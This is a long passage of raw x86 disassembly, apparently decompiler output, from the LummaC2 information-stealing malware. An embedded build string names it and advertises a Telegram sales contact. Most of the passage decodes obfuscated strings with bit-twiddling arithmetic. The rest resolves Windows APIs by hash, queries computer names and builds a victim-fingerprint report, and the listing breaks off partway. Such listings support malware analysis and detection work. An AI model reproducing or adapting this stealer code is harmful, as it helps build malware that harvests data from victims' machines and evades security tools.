xor al, 0xff
xor cl, 0xff
and cl, 0xa1
or al, cl
xor al, 0xff
mov byte [0x475963], al
mov al, byte [0x47595d]
mov dl, al
xor dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xa6
and dl, 0x59
xor dl, 0xff
and cl, dl
xor cl, 0xff
xor al, 0xff
or al, 0x59
xor al, 0xff
and al, 0xff
or cl, al
mov byte [0x475964], cl
mov al, byte [0x47595e]
xor al, 0x85
mov byte [0x475965], al
mov al, byte [0x47595f]
xor al, 0xd
mov byte [0x475966], al
mov cl, byte [0x475960]
mov al, cl
and al, al
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and al, 0x88
xor al, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x88
and cl, 0x77
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x475967], al
mov al, byte [0x475961]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0x17
and al, 0xe8
or cl, al
mov byte [0x475968], cl
mov al, byte [0x475962]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xc4
xor cl, 0xff
and cl, 0xff
and al, 0xc4
or cl, al
mov byte [0x475969], cl
mov edx, dword [0x47593c]
mov eax, edx
xor eax, 0xffffffff
or eax, 0x54e14946
add eax, 0xab1eb6ba
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or ecx, 0xab1eb6b9
xor ecx, 0xffffffff
mov edx, ecx
and edx, eax
xor edx, 0xffffffff
add eax, ecx
add eax, 1
add eax, edx
xor eax, 0x407bf8cd
mov dword [0x47594c], eax
mov ecx, dword [0x475940]
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
sub eax, edx
xor eax, 0xffffffff
or eax, 0xebfc4fd2
and ecx, 0xebfc4fd2
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
xor edx, 0xffffffff
mov dword [0x475950], edx
mov eax, dword [0x475944]
xor eax, 0x152f9efd
mov dword [0x475954], eax
mov eax, dword [0x475948]
mov ecx, eax
and ecx, 0x4900668
shl ecx, 1
mov edx, eax
and edx, 0x4900668
shl edx, 1
xor eax, 0x4900668
add eax, edx
sub eax, ecx
mov dword [str.zfsy], eax
mov al, byte [0x4759c6]
mov cl, al
and cl, 0xcc
shl cl, 1
add al, 0xcc
sub al, cl
mov byte [0x4759d4], al
mov al, byte [0x4759c7]
mov cl, al
and cl, 0x65
shl cl, 1
add al, 0x65
sub al, cl
mov byte [0x4759d5], al
mov al, byte [0x4759c8]
mov cl, al
and cl, 0xb3
shl cl, 1
sub al, 0x4d
sub al, cl
mov byte [0x4759d6], al
mov al, byte [0x4759c9]
mov cl, al
xor cl, 0xff
and cl, 0x3d
and al, 0xc2
or cl, al
xor cl, 0xfb
mov byte [0x4759d7], cl
mov al, byte [0x4759ca]
xor al, 0x90
mov byte [0x4759d8], al
mov al, byte [0x4759cb]
xor al, 6
mov byte [0x4759d9], al
mov al, byte [0x4759cc]
mov cl, al
xor cl, 0xff
and cl, 0xf4
and al, 0xb
or cl, al
mov byte [0x4759da], cl
mov al, byte [0x4759cd]
xor al, 0xfa
mov byte [0x4759db], al
mov al, byte [0x4759ce]
mov cl, al
and cl, 0xbf
shl cl, 1
mov dl, al
and dl, 0xbf
shl dl, 1
xor al, 0xbf
add al, dl
sub al, cl
mov byte [0x4759dc], al
mov al, byte [0x4759cf]
mov cl, al
xor cl, 0xff
and cl, 0xcd
and al, 0x32
or cl, al
mov byte [0x4759dd], cl
mov al, byte [0x4759d0]
xor al, 0x89
mov byte [0x4759de], al
mov ch, byte [0x4759d1]
mov cl, ch
and cl, 0x6f
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
mov cl, ch
and cl, 0x6f
or ch, 0x6f
add cl, ch
sub cl, al
mov byte [0x4759df], cl
mov al, byte [0x4759d2]
mov cl, al
xor cl, 0x9f
xor cl, 0xff
and cl, 0x9f
shl cl, 1
sub cl, 0x9f
sub al, cl
mov byte [0x4759e0], al
mov al, byte [0x4759d3]
xor al, 0x61
mov byte [0x4759e1], al
mov al, byte [0x4758a0]
xor al, 0x42
mov byte [0x4758c0], al
mov al, byte [0x4758a1]
xor al, 0xf0
mov byte [0x4758c1], al
mov al, byte [0x4758a2]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x5f
xor al, 0xff
or al, 0xa0
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4758c2], cl
mov al, byte [0x4758a3]
xor al, 0x4b
mov byte [0x4758c3], al
mov al, byte [0x4758a4]
xor al, 0x1c
mov byte [0x4758c4], al
mov al, byte [0x4758a5]
mov cl, al
xor cl, 0x73
xor cl, 0xff
and cl, 0x73
shl cl, 1
sub cl, 0x73
sub al, cl
mov byte [0x4758c5], al
mov al, byte [0x4758a6]
xor al, 0xa5
mov byte [0x4758c6], al
mov cl, byte [0x4758a7]
mov al, cl
xor al, 0xff
and al, 0x3c
mov dl, cl
xor dl, 0xff
or dl, 0x3c
and cl, 0xc3
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
or al, dl
mov byte [0x4758c7], al
mov al, byte [0x4758a8]
mov cl, al
xor cl, 0x2c
xor cl, 0xff
and cl, 0x2c
shl cl, 1
sub cl, 0x2c
sub al, cl
mov byte [0x4758c8], al
mov al, byte [0x4758a9]
xor al, 0x45
mov byte [0x4758c9], al
mov al, byte [0x4758aa]
mov cl, al
xor cl, 0xd6
xor cl, 0xff
and cl, 0xd6
shl cl, 1
sub cl, 0xd6
sub al, cl
mov byte [0x4758ca], al
mov al, byte [0x4758ab]
xor al, 0x81
mov byte [0x4758cb], al
mov cl, byte [0x4758ac]
mov al, cl
xor al, 0xff
and al, 0x74
mov dl, cl
and dl, 0x8b
or al, dl
xor al, 0x8b
or al, 0x4e
add al, 0xb2
and cl, 0x4e
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
xor al, 0x62
mov byte [0x4758cc], al
mov al, byte [0x4758ad]
mov cl, al
xor cl, 0x8f
xor cl, 0xff
and cl, 0x8f
shl cl, 1
sub cl, 0x8f
sub al, cl
mov byte [0x4758cd], al
mov al, byte [0x4758ae]
mov cl, al
and cl, 0xa6
shl cl, 1
add al, 0xa6
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4758ce], al
mov dl, byte [0x4758af]
mov al, dl
xor al, 0xff
and al, 0x84
mov cl, dl
and cl, 0x7b
or al, cl
xor al, 0x7b
mov cl, dl
xor cl, 0xff
and cl, 0x2e
mov ah, dl
and ah, 0xd1
or cl, ah
xor cl, 0xd1
and al, cl
or al, 0x69
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x69
xor dl, 0xff
and dl, 0x69
or cl, dl
xor cl, 0xff
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or cl, cl
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov byte [0x4758cf], dl
mov cl, byte [0x4758b0]
mov al, cl
xor al, 0xff
or al, 0x50
mov dl, cl
xor dl, 0xff
or dl, 0x50
xor al, 0xff
xor dl, 0xff
or al, dl
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0x51
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x4758d0], cl
mov al, byte [0x4758b1]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x51
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
or al, 0x51
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4758d1], cl
mov al, byte [0x4758b2]
xor al, 0x55
mov byte [0x4758d2], al
mov al, byte [0x4758b3]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xa4
xor cl, 0xff
xor al, 0xff
and al, 0xa4
or cl, al
xor cl, 0xff
mov byte [0x4758d3], cl
mov cl, byte [0x4758b4]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xf9
xor al, 0xff
and al, 0xff
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xf9
add cl, dl
or al, cl
xor al, 0x86
mov byte [0x4758d4], al
mov al, byte [0x4759ac]
xor al, 0x8d
mov byte [0x4759b9], al
mov al, byte [0x4759ad]
mov cl, al
xor cl, 0x93
xor cl, 0xff
and cl, 0x93
shl cl, 1
sub cl, 0x93
sub al, cl
mov byte [0x4759ba], al
mov ch, byte [0x4759ae]
mov cl, ch
xor cl, 0x5c
and cl, ch
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xa5
add ch, 0xa3
add ch, 0xa5
add ch, 0x76
sub ch, al
sub ch, 0x76
mov byte [0x4759bb], ch
mov al, byte [0x4759af]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, dl
and cl, 0x17
xor dl, 0x17
or cl, dl
xor cl, 0xff
xor al, 0xff
and al, 0x17
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
xor al, 0xff
mov dl, cl
xor dl, al
and dl, cl
mov byte [0x4759bc], dl
mov cl, byte [0x4759b0]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x47
xor al, 0xff
xor cl, 0xff
and cl, 0x47
or al, cl
xor al, 0xff
mov byte [0x4759bd], al
mov al, byte [str.8.]
mov dl, al
xor dl, 0x18
xor dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xe7
and dl, 0x18
xor dl, 0xff
and cl, dl
xor cl, 0xff
shl cl, 1
sub cl, 0x18
sub al, cl
mov byte [0x4759be], al
mov cl, byte [0x4759b2]
mov al, cl
or al, al
xor al, 0xff
or al, 0x9f
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and cl, 0x9f
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0xe5
and cl, 0x1a
or dl, cl
xor dl, 0x1a
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
mov byte [str._bm7N], al
mov al, byte [0x4759b3]
xor al, 0x1a
mov byte [0x4759c0], al
mov al, byte [0x4759b4]
xor al, 0x16
mov byte [0x4759c1], al
mov al, byte [0x4759b5]
mov cl, al
xor cl, 0xff
and cl, 0x7b
and al, 0x84
or cl, al
xor cl, 0xd9
mov byte [0x4759c2], cl
mov al, byte [0x4759b6]
mov cl, al
xor cl, 0x4c
xor cl, 0xff
and cl, 0x4c
shl cl, 1
add cl, 0xb4
sub al, cl
mov byte [0x4759c3], al
mov al, byte [0x4759b7]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
xor cl, 0x70
mov byte [0x4759c4], cl
mov cl, byte [0x4759b8]
mov al, cl
xor al, 0xff
and al, 0xed
mov dl, cl
xor dl, 0x12
xor dl, 0xff
or cl, 0x12
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x2f
and al, 0xd0
or cl, al
xor cl, 0xfb
mov byte [0x4759c5], cl
mov al, byte [0x475888]
mov cl, al
xor cl, 0xff
and cl, 0x10
and al, 0xef
or cl, al
mov byte [0x475891], cl
mov ch, byte [0x475889]
mov cl, ch
xor cl, 0xb
and cl, ch
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xf4
sub ch, al
mov byte [0x475892], ch
mov al, byte [0x47588a]
xor al, 0xf5
mov byte [0x475893], al
mov al, byte [0x47588b]
xor al, 0x43
mov byte [0x475894], al
mov al, byte [0x47588c]
xor al, 0xf7
mov byte [0x475895], al
mov al, byte [0x47588d]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0xf3
and cl, 0xc
or dl, cl
xor dl, 0xa4
or ah, 0xa8
xor ah, 0xff
and ah, 0xff
or dl, ah
and al, 0x57
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x475896], dl
mov al, byte [0x47588e]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x47
xor dl, 0xff
and al, 0x47
or dl, al
mov byte [0x475897], dl
mov al, byte [0x47588f]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x55
and al, 0x55
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475898], cl
mov al, byte [0x475890]
mov cl, al
xor cl, 0xff
and cl, 4
and al, 0xfb
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
mov byte [0x475899], cl
mov al, byte [0x475a30]
xor al, 0xa8
mov byte [0x475a50], al
mov al, byte [0x475a31]
mov cl, al
xor cl, 0xff
or cl, 0x7e
add cl, 0x82
and al, 0x7e
or cl, al
xor cl, 0x5a
mov byte [0x475a51], cl
mov al, byte [0x475a32]
xor al, 0x5e
mov byte [0x475a52], al
mov al, byte [0x475a33]
mov cl, al
xor cl, 0x92
xor cl, 0xff
and cl, 0x92
shl cl, 1
sub cl, 0x92
sub al, cl
mov byte [0x475a53], al
mov al, byte [0x475a34]
mov cl, al
and cl, 0x14
shl cl, 1
add al, 0x14
sub al, cl
mov byte [0x475a54], al
mov al, byte [0x475a35]
xor al, 0xcb
mov byte [0x475a55], al
mov cl, byte [0x475a36]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x5e
xor al, 0xff
xor cl, 0xff
and cl, 0x5e
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x475a56], al
mov al, byte [0x475a37]
xor al, 0x53
mov byte [0x475a57], al
mov cl, byte [0x475a38]
mov al, cl
and al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x7a
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x85
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
mov byte [0x475a58], al
mov cl, byte [0x475a39]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xea
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, dl
or cl, 0xea
xor cl, 0xff
or dl, 0xea
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
and al, cl
xor al, 0xff
mov byte [0x475a59], al
mov al, byte [0x475a3a]
xor al, 0xd3
mov byte [0x475a5a], al
mov al, byte [0x475a3b]
xor al, 0x46
mov byte [0x475a5b], al
mov al, byte [0x475a3c]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
and dl, ah
or cl, dl
xor cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0x8c
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x8c
add al, dl
xor al, 0xff
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
or cl, al
mov byte [0x475a5c], cl
mov al, byte [0x475a3d]
xor al, 0xa9
mov byte [0x475a5d], al
mov al, byte [0x475a3e]
xor al, 0xc7
mov byte [0x475a5e], al
mov al, byte [0x475a3f]
mov cl, al
xor cl, 0xff
and cl, 0x30
mov dl, al
and dl, 0xcf
or cl, dl
xor cl, 0xcf
mov dl, al
xor dl, 0xff
mov ah, cl
add ah, 1
xor cl, 0xff
or cl, dl
add cl, ah
xor cl, 0xff
and cl, 0xed
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x12
add al, dl
mov dl, cl
xor dl, 0xff
and dl, 0xc8
and cl, 0x37
or dl, cl
xor dl, 0x37
xor al, 0xff
and dl, al
mov byte [0x475a5f], dl
mov al, byte [0x475a40]
xor al, 0xa6
mov byte [0x475a60], al
mov al, byte [0x475a41]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xc7
xor al, 0xff
and al, 0x38
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475a61], cl
mov al, byte [0x475a42]
xor al, 0xd4
mov byte [0x475a62], al
mov al, byte [0x475a43]
mov cl, al
xor cl, 0x48
xor cl, 0xff
and cl, 0x48
shl cl, 1
sub cl, 0x48
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0x48
shl dl, 1
sub dl, 0x48
sub al, dl
mov byte [0x475a63], al
mov al, byte [0x475a44]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, al
and dl, dl
xor dl, 0xff
and cl, dl
xor cl, 0xff
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0xff
mov dl, cl
and dl, 0x95
xor cl, 0x95
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 0x95
and al, 0x6a
or cl, al
xor cl, 0x6a
or cl, 0x6a
mov al, dl
xor al, cl
xor al, 0xff
or dl, cl
and dl, al
xor dl, 0xff
mov byte [0x475a64], dl
mov cl, byte [0x475a45]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xaa
xor cl, 0xff
and cl, 0x55
or al, cl
xor al, 0xff
mov byte [str.Y___b], al
mov al, byte [0x475a46]
mov cl, al
xor cl, 0x78
xor cl, 0xff
and cl, 0x78
shl cl, 1
mov dl, cl
xor dl, 0x78
and cl, 0x87
shl cl, 1
sub cl, dl
sub al, cl
mov byte [0x475a66], al
mov al, byte [0x475a47]
xor al, 0xa9
mov byte [0x475a67], al
mov cl, byte [0x475a48]
mov dl, cl
xor dl, 0xff
mov al, cl
xor al, 0xff
mov ah, cl
xor ah, 0xff
and al, ah
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov al, dl
xor al, 0xff
or al, 5
xor dl, 0xff
or dl, 5
and al, dl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x41
and cl, 0xbe
or dl, cl
xor dl, 0xbb
or ah, 5
xor ah, 0xff
and ah, 0xff
or dl, ah
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
and al, dl
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475a68], cl
mov ch, byte [0x475a49]
mov cl, ch
xor cl, 0x7a
xor cl, 0xff
and cl, 0x7a
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x85
add al, 1
sub ch, al
mov byte [0x475a69], ch
mov al, byte [0x475a4a]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x86
xor cl, 0xff
mov dl, al
xor dl, 0xff
and dl, 0x86
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
xor cl, 0xff
or cl, 0x86
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0x79
sub al, cl
mov ecx, edi
mov byte [0x475a6a], al
mov al, byte [0x475a4b]
xor al, 0xad
mov byte [0x475a6b], al
mov al, byte [0x475a4c]
xor al, 0xb
mov byte [0x475a6c], al
mov al, byte [0x475a4d]
xor al, 0xee
mov byte [0x475a6d], al
jmp 0x44bb41
mov dword [0x476680], 1
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov edi, esp
mov dword [esi + 0x28], edi
push eax
mov ebx, esp
mov dword [esi + 0x24], ebx
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi], esp
push eax
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x30], esp
sub esp, 8
mov dword [esi + 0x38], esp
push eax
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x3c], esp
sub esp, 0xc
mov dword [esi + 0x44], esp
sub esp, 0x100
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 4], esp
sub esp, 0xc
mov dword [esi + 0x48], esp
sub esp, 0x100
mov dword [esi + 0x50], esp
sub esp, 0x10
mov dword [esi + 0x54], esp
sub esp, 0x100
mov dword [esi + 0x58], esp
sub esp, 0x1c
mov dword [esi + 0x5c], esp
sub esp, 0x100
mov dword [esi + 0x60], esp
sub esp, 0x18
mov dword [esi + 0x64], esp
sub esp, 0x10
mov dword [esi + 0x6c], esp
push eax
mov dword [esi + 0x68], esp
push eax
mov dword [esi + 0x14], esp
sub esp, 0x10
mov dword [esi + 0x70], esp
sub esp, 0xc
mov dword [esi + 0x18], esp
sub esp, 0x200
mov dword [esi + 0x74], esp
sub esp, 0x18
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0x7c], esp
push eax
mov dword [esi + 0x84], esp
sub esp, 0x10
mov dword [esi + 0x88], esp
sub esp, 0x10
mov dword [esi + 0x8c], esp
push eax
mov dword [esi + 8], esp
sub esp, 0x10
mov dword [esi + 0x90], esp
sub esp, 0x1a8
mov dword [esi + 0x94], esp
push eax
mov dword [esi + 0x98], esp
sub esp, 8
mov dword [esi + 0x9c], esp
sub esp, 8
mov edx, esp
and edx, 0xfffffff8
mov dword [esi + 0xa0], edx
mov esp, edx
push eax
mov dword [esi + 0xa4], esp
push eax
mov dword [esi + 0x1c], esp
sub esp, 0x20
mov dword [esi + 0xa8], esp
push eax
mov dword [esi + 0xac], esp
sub esp, 0x18
mov dword [esi + 0xb0], esp
mov dword [eax], ecx
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044cd00
add esp, 4
mov dword [esp], 0
call eax
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044cd00
add esp, 4
mov dword [esp], 1
call eax
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.00455217
add esp, 8
mov edi, dword [esi + 0xc]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.00455217
add esp, 8
mov ebx, dword [esi + 0x10]
mov dword [ebx], eax
mov eax, dword [edi]
mov ecx, dword [esi + 0x28]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.004546d4
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi + 0x24]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.004546d4
add esp, 4
mov dword [esp + 4], 1
mov dword [esp], 0x4000
call fcn.00455217
add esp, 8
mov edi, dword [esi]
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.LummaC2__Build_Nov_28_2023__Buy_now:_TG__lummanowork_n
call fcn.00455a30
add esp, 4
mov dword [esp], str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.00444be0
add esp, 4
mov ecx, dword [esi + 0x2c]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ebx, ecx
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.KjGtqi__WHISKEY
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469b25
call fcn.00455a30
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.00455217
add esp, 8
mov edi, dword [esi + 0x34]
mov dword [edi], eax
mov ebx, dword [esi + 0x30]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0xa2f80070
call fcn.0044cd00
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov eax, dword [0x475966]
mov ecx, dword [esi + 0x38]
mov dword [ecx + 3], eax
mov eax, dword [0x475963]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.00455217
add esp, 8
mov edi, dword [esi + 0x40]
mov dword [edi], eax
mov ebx, dword [esi + 0x3c]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], 0x469b28
mov dword [esp], 0x23fef64a
call fcn.0044cd00
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov al, byte [0x475995]
mov ecx, dword [esi + 0x44]
mov byte [ecx + 8], al
mov eax, dword [0x475991]
mov dword [ecx + 4], eax
mov eax, dword [0x47598d]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x4c]
mov dword [esp + 4], edi
mov dword [esp], 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x4759a8]
mov ecx, dword [esi + 0x48]
mov dword [ecx + 7], eax
mov eax, dword [0x4759a5]
mov dword [ecx + 4], eax
mov eax, dword [0x4759a1]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
mov edi, ebx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x50]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov ax, word [0x4759e0]
mov ecx, dword [esi + 0x54]
mov word [ecx + 0xc], ax
mov eax, dword [0x4759dc]
mov dword [ecx + 8], eax
mov eax, dword [0x4759d8]
mov dword [ecx + 4], eax
mov eax, dword [0x4759d4]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
